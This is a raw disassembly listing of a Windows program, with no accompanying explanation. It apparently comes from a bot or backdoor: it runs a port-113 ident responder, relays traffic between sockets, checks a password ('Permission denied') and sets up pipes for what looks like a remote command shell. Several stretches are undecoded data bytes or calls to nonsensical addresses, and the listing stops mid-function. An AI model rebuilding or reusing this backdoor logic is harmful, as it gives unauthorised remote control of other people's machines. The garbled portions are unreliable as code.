		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CB6A4
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB66C
		pop	esi


loc_4101B9:				; CODE XREF: sub_4100DC+6Bj
		push	ebx
		call	dword_4CB6EC
		call	dword_4CB5AC
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F9
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_4101F9:				; CODE XREF: sub_4100DC+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DC	endp

; ---------------------------------------------------------------------------


loc_4101FD:				; DATA XREF: ___:00401666o
					; sub_401ACD+436Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CB654
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CB6D4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410361
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43E59C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CB680
		cmp	eax, 0FFFFFFFFh
		jz	loc_410361
		push	5
		push	ebx
		call	dword_4CB67C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410361
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410288:				; CODE XREF: ___:004102E7j
					; ___:0041034Aj ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035C
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_43468C
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AD
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB66C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410288
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F80
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08E
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	loc_410288
		mov	dword ptr [ebp-8], 1
		jmp	loc_410288
; ---------------------------------------------------------------------------


loc_41035C:				; CODE XREF: ___:0041029Dj
		cmp	[ebp-8], esi
		jnz	short loc_410388


loc_410361:				; CODE XREF: ___:00410244j
					; ___:00410268j ...
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_434648
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_410388:				; CODE XREF: ___:0041035Fj
		push	ebx
		call	dword_4CB6EC
		push	dword ptr [ebp-4]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	sub_40B413
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx


loc_4103AB:				; DATA XREF: sub_401ACD+613Co
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CB654
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CB6D4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410517
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E59C[ecx], eax
		call	dword_4CB564
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB680
		test	eax, eax
		jnz	loc_410517
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CB67C
		test	eax, eax
		jnz	loc_410517


loc_41045B:				; CODE XREF: ___:00410471j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045B
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4346F4
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F7
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43E594[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053C
		push	esi
		push	esi
; ---------------------------------------------------------------------------
		dw 25E8h
		dd 900226FBh, 69C44D8Bh, 234C9h, 89C63B00h, 43E5A481h
		dd 39137400h, 850FD075h, 0FFFFFF63h, 0E890326Ah, 22609C7h
		dd 0E890EDEBh, 227042Ah, 46B86850h, 0EE80043h, 5900004Dh
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	short loc_41051A
; ---------------------------------------------------------------------------


loc_410517:				; CODE XREF: ___:0041040Ej
					; ___:00410442j ...
		mov	edi, [ebp+8]


loc_41051A:				; CODE XREF: ___:00410515j
		push	edi
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	dword_4CB6EC
		push	dword ptr [ebp-40h]
		call	sub_40B413
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi


loc_41053C:				; DATA XREF: ___:004104CFo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CB6D4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F2
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CB654
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CC
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB6D8
		jmp	short loc_4105DA
; ---------------------------------------------------------------------------


loc_4105CC:				; CODE XREF: ___:004105BBj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CB60C


loc_4105DA:				; CODE XREF: ___:004105CAj
		cmp	eax, edi
		jz	loc_4106F2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F2
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_43477C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F7
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43E59C[ebx]
		mov	dword_43E594[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E5A0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410723
		push	edi
		push	edi
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4106DF


loc_41068C:				; CODE XREF: ___:00410699j
		cmp	[ebp-20h], edi
		jnz	short loc_41069B
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_41068C
; ---------------------------------------------------------------------------


loc_41069B:				; CODE XREF: ___:0041068Fj
		mov	ebx, 1000h


loc_4106A0:				; CODE XREF: ___:004106DBj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB66C
		cmp	eax, edi
		jle	short loc_4106F2
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4106A0
		jmp	short loc_4106F2
; ---------------------------------------------------------------------------


loc_4106DF:				; CODE XREF: ___:0041068Aj
		call	near ptr 2680932h
		nop
		push	eax
		push	offset unk_43473C
		call	sub_415221
		pop	ecx
		pop	ecx


loc_4106F2:				; CODE XREF: ___:00410580j
					; ___:004105DCj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43E59C[eax]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	dword_4CB6EC
		push	dword ptr [ebp-4]
		call	sub_40B413
		pop	ecx
		push	edi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx


loc_410723:				; DATA XREF: ___:0041066Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41075A:				; CODE XREF: ___:0041079Fj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43E5A0[esi]
		call	dword_4CB66C
		test	eax, eax
		jle	short loc_4107A1
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43E59C[esi]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41075A


loc_4107A1:				; CODE XREF: ___:00410784j
		push	dword_43E5A0[esi]
		call	dword_4CB6EC
		push	dword ptr [ebp-14h]
		call	sub_40B413
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 42h, 0F8h
; ---------------------------------------------------------------------------
		sub	al, 2
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43E59C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CB63C
		test	eax, eax
		jnz	short loc_410844
		push	dword ptr [esi]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	sub_40B413
		pop	ecx
		push	edi
		nop
		call	near ptr 26E0000h


loc_410844:				; CODE XREF: ___:0041082Aj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB66C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB5A8
		test	eax, eax
		jz	short loc_4108BD
		call	dword_4CB5E8
		push	eax
		push	offset unk_434854
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_40B413
		add	esp, 0Ch
		push	edi
		call	near ptr 26E0000h
		nop


loc_4108BD:				; CODE XREF: ___:00410898j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CB60C
		cmp	eax, edi
		jnz	short loc_4108E7
		push	dword ptr [ebp-18h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F5
; ---------------------------------------------------------------------------


loc_4108E7:				; CODE XREF: ___:004108CDj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0


loc_4108F5:				; CODE XREF: ___:004108E5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D808
		push	dword ptr [esi]
		call	dword_4CB6A4
		cmp	dword_4CE3B8, edi
		jnz	short loc_410957
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410957
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CB6A4
		push	dword ptr [esi]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	sub_40B413
		pop	ecx
		push	edi
		nop
		call	near ptr 26E0000h


loc_410957:				; CODE XREF: ___:0041090Cj
					; ___:0041092Dj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434818
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_410CD6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099E
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_4347EC
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_40B413
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26E0000h


loc_41099E:				; CODE XREF: ___:00410979j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4347C0
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_40B413
		add	esp, 10h
		push	edi
		call	near ptr 26E0000h
		nop

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C5	proc near		; CODE XREF: ___:0041085Ap
					; ___:00410867p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C
		cmp	eax, 1
		jnz	short loc_410A15
		mov	esi, [ebp+arg_4]


loc_4109E3:				; CODE XREF: sub_4109C5+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A0A
		test	al, al
		jz	short loc_410A19
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C
		cmp	eax, 1
		jz	short loc_4109E3
		jmp	short loc_410A15
; ---------------------------------------------------------------------------


loc_410A0A:				; CODE XREF: sub_4109C5+27j
		push	offset unk_434880
		call	sub_415221
		pop	ecx


loc_410A15:				; CODE XREF: sub_4109C5+19j
					; sub_4109C5+43j
		xor	eax, eax
		jmp	short loc_410A1C
; ---------------------------------------------------------------------------


loc_410A19:				; CODE XREF: sub_4109C5+2Bj
		push	1
		pop	eax


loc_410A1C:				; CODE XREF: sub_4109C5+52j
		pop	esi
		leave
		retn
sub_4109C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1F	proc near		; CODE XREF: ___:00410923p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A4A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4348AC
		call	sub_415221
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410A4A:				; CODE XREF: sub_410A1F+11j
		push	1
		pop	eax
		retn
sub_410A1F	endp

; ---------------------------------------------------------------------------
word_410A4E	dw 8B55h		; DATA XREF: sub_401ACD+23D5o
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	4CB5C4h, 0C63BF633h, 68501D74h
		dd 434A1Ch, 478CE8h, 0B475FF00h, 0FFA976E8h, 0CC483FFh
		dd 59E89057h, 57022CF5h, 410CCC68h, 1ACE800h, 85900236h
		dd 902975C0h, 26FE75E8h, 0D8685002h, 0E8004349h, 4759h
		dd 15FF5959h, 4CB5ACh, 0E8B475FFh, 0FFFFA93Bh, 0E8905759h
		dd 22CF520h, 8D106A53h,	5056E045h, 0AAA3E8h, 0CC48300h
		dd 0E045C766h, 75FF0002h, 5415FFB0h, 6A004CB6h,	26A5706h
		dd 0E2458966h, 0FFE47589h, 4CB6D415h, 83D88B00h, 840FFFFBh
		dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E59C98h, 0E0458D00h
		dd 15FF5350h, 4CB680h, 850FC085h, 117h,	0FFFFFF68h, 15FF537Fh
		dd 4CB67Ch, 850FC085h, 103h, 43499C68h,	0F045C700h, 0Ch
		dd 89F47589h, 42E8F875h, 59000046h, 8D087D89h, 45C7FC45h
		dd 10FCh, 458D5000h, 0FF5350CCh, 4CB6E815h, 83F88B00h
		dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
		dd 4CB63415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
		dd 0D075FF50h, 0B6E015FFh, 8D50004Ch, 0FFFBEC85h, 495868FFh
		dd 0E8500043h, 0ACB6h, 0FBEC858Dh, 0E850FFFFh, 45D1h, 0EC858D57h
		dd 6AFFFFFBh, 0CE85009h, 89FFFFA5h, 0C069B845h,	234h, 83B44D8Bh
		dd 888924C4h, 43E594h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh
		dd 4107C068h, 0F0458D00h, 0E8905056h, 226F3E4h,	69B84D8Bh
		dd 234C9h, 89C63B00h, 43E5A481h, 39137400h, 850FC875h
		dd 0FFFFFF37h, 0E890326Ah, 2260287h, 0E890EDEBh, 226FCEAh
		dd 491C6850h, 0CEE80043h, 59000045h, 8B03EB59h,	15FF087Dh
		dd 4CB5E8h, 0EC858D50h,	68FFFFFBh, 4348E4h, 0AC14E850h
		dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh
		dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0DCE8FFFFh, 83FFFF8Dh
		dd 858D14C4h, 0FFFFFBECh, 4507E850h, 57590000h,	0B6EC15FFh
		dd 0FF53004Ch, 4CB6EC15h, 0AC15FF00h, 0FF004CB5h, 50E8B475h
		dd 59FFFFA7h, 35E89056h, 5B022CF3h, 4439C033h, 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD6	proc near		; CODE XREF: ___:0041096Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E27
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E59C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D41
		call	near ptr 2680932h
		nop
		push	eax
		push	offset unk_434A7C
		call	sub_415221
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7B
; ---------------------------------------------------------------------------


loc_410D41:				; CODE XREF: sub_410CD6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AB
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D82
		call	near ptr 2680932h
		nop
		push	eax
		push	offset unk_434A7C
		call	sub_415221
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 2690A0Ah


loc_410D7B:				; CODE XREF: sub_410CD6+69j
		xor	eax, eax
		jmp	loc_410E22
; ---------------------------------------------------------------------------


loc_410D82:				; CODE XREF: sub_410CD6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 2770F00h
		sub	eax, ebx
		jz	short loc_410DDC
		dec	eax
		jz	short loc_410DD6
		dec	eax
		jz	short loc_410DC2
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_434A48
		call	sub_415221
		pop	ecx
		pop	ecx
		jmp	short loc_410DF1
; ---------------------------------------------------------------------------


loc_410DC2:				; CODE XREF: sub_410CD6+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF1
; ---------------------------------------------------------------------------


loc_410DD6:				; CODE XREF: sub_410CD6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DE0
; ---------------------------------------------------------------------------


loc_410DDC:				; CODE XREF: sub_410CD6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_410DE0:				; CODE XREF: sub_410CD6+104j
		nop
		call	near ptr 2690A0Ah
		push	1
		push	dword ptr [esi+8]
		call	near ptr 2700B3Ch
		nop


loc_410DF1:				; CODE XREF: sub_410CD6+EAj
					; sub_410CD6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB6EC
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax


loc_410E22:				; CODE XREF: sub_410CD6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E27	proc near		; CODE XREF: sub_410CD6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F11
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E8A
		call	near ptr 2680932h
		nop
		push	eax
		push	offset unk_434B2C
		jmp	short loc_410EAA
; ---------------------------------------------------------------------------


loc_410E8A:				; CODE XREF: sub_410E27+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB2
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_434AEC


loc_410EAA:				; CODE XREF: sub_410E27+61j
		call	sub_415221
		pop	ecx
		jmp	short loc_410EE0
; ---------------------------------------------------------------------------


loc_410EB2:				; CODE XREF: sub_410E27+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F20
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F15
		push	offset unk_434AC4
		call	sub_4151AD


loc_410EE0:				; CODE XREF: sub_410E27+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEC
		push	[ebp+var_4]
		call	edi


loc_410EEC:				; CODE XREF: sub_410E27+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF7
		push	[ebp+var_8]
		call	edi


loc_410EF7:				; CODE XREF: sub_410E27+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410F00
		push	eax
		call	edi


loc_410F00:				; CODE XREF: sub_410E27+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F0A
		push	eax
		call	edi


loc_410F0A:				; CODE XREF: sub_410E27+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_410F11:				; CODE XREF: sub_410E27+1Dj
		xor	eax, eax
		jmp	short loc_410F1B
; ---------------------------------------------------------------------------


loc_410F15:				; CODE XREF: sub_410E27+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410F1B:				; CODE XREF: sub_410E27+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F20	proc near		; CODE XREF: sub_410E27+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
